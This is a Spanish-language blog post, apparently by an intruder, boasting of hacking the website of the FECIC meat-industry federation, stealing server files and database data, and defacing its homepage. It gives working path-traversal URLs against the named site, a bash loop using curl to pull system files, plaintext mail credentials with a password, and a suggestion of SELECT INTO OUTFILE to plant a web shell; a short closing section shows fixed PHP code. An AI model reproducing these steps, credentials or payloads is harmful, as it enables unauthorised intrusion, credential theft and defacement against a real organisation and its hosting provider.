Un par de nalgadas a la FECIC

Desde que pasó lo de la mariscada he recibido muchos mensajes de apoyo y peticiones de más posts por el estilo. Para bien o para mal no puedo hacer pública toda mi actividad, pero en esta ocasión quiero mostrar cómo he robado datos del servidor y la BDD de la Federación Empresarial de Carnes e Industrias Cárnicas (FECIC) y luego les he pintado la puerta antes de irme.

El punto de entrada ha sido la web principal: www.fecic.es.

En el apartado «¿Quiénes somos?», el botón de descarga de los estatutos de la organización lleva al siguiente enlace:

https://www.fecic.es/admin/index.php?pagina=descargar&doc=06072021_estatutos_fecic_565-707.pdf

¿Qué pasará si asigno a doc una ruta distinta?

https://www.fecic.es/admin/index.php?pagina=descargar&doc=../../../../../../etc/passwd

Ahora sé que puedo leer cualquier archivo cuya ruta conozca, siempre que tenga permisos. No se trata de una vulnerabilidad LFI, sino de una lectura arbitraria de ficheros. Con esto puedo leer archivos de forma directa, sin procesar.

He fuzzeado los archivos comunes en sistemas Linux usando un script similar a este:

for i in `cat wordlist.txt`; do
folder="${i%/*}"
file=${i##*/}
mkdir -p .$folder
echo "[+] $folder/$file"
curl -s "https://www.fecic.es/admin/index.php?pagina=descargar&doc=../../../../../../../../..$i" > .$folder/$file
done

Gracias a esto he descubierto la configuración de Apache en /etc/apache2/sites-enabled/fecic.es.conf, lo que me ha permitido dar con la ruta ra´íz de la web.

ServerAdmin info@jad.cat
ServerName www.fecic.es
DocumentRoot /home/httpd/www.fecic.es/src/

El archivo /home/httpd/www.fecic.es/src/index.php me ha descubierto otros archivos como init.php:

include('init.php');

Con este archivo he llegado a principal.php y variables.php, donde he podido encontrar credenciales.

Por algún motivo, principal.php contiene credenciales para el webmail del proveedor del servidor.

define("_MAIL_JAD", "webforms@jad.cat");
define("_USER_MAIL_JAD", "webforms@jad.cat");
define("_PASS_MAIL_JAD", "nerF592arc");
define("_SMTP_MAIL_JAD", "mail.jad.cat");

De todos modos, tampoco había nada interesante.

No obstante, el archivo variables.php me ha dado los credenciales para acceder a la base de datos. Y, sorpresa, el script que he usado para fuzzear los directorios del sistema me ha revelado que existe un panel de phpMyAdmin accesible desde internet.

Ni siquiera he tenido que crackear los hashes porque había una contraseña sin cifrar.

Ya con acceso al panel de administración, el resto ha sido modificar el índice del sitio y terminar de descargar algunos datos.

Desgraciadamente no he podido conseguir una shell, ya que ha pasado poco tiempo hasta que el administrador ha dejado inaccesible el sitio. Tal vez un SELECT … INTO OUTFILE ‘shell.php’ me podría haber servido, o tal vez no. Tampoco creo que hubiera encontrado nada más interesante.

El fallo del administrador ha sido configurar la función de descarga sin filtrar las rutas ni los carácteres de entrada, de una forma similar a esta:

if (isset($_GET['descarga'])) {
$archivo = $_GET['descarga'];
if (file_exists($archivo)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($archivo) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($archivo));
readfile($archivo);
exit;
} else {
http_response_code(404);
}
}

En su lugar, algo así habría sido más seguro:

if(isset($_GET['descarga']) && !empty($_GET['descarga'])){
$archivo = $_GET['descarga'];
$rutaBase = "/home/httpd/www.fecic.es/src/galeria/";
if(file_exists($rutaBase . $archivo) && strpos(realpath($rutaBase . $archivo), realpath($rutaBase)) === 0){
header("Content-Type: application/octet-stream");
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" . basename($archivo) ."\"");
readfile($rutaBase . $archivo);
exit;
}
}
http_response_code(404);
exit;

También ha sido un error tener expuesto el panel de phpMyAdmin, además de almacenar contraseñas de administración en texto plano o cifradas con un algoritmo obsoleto como lo es MD5.

Dejando esto de lado, finalmente he podido dejar un mensaje en el índice.

La intrusión no ha sido nada de otro mundo, pero creo que es interesante publicar estos procesos.

Eso es todo por hoy.

Salud.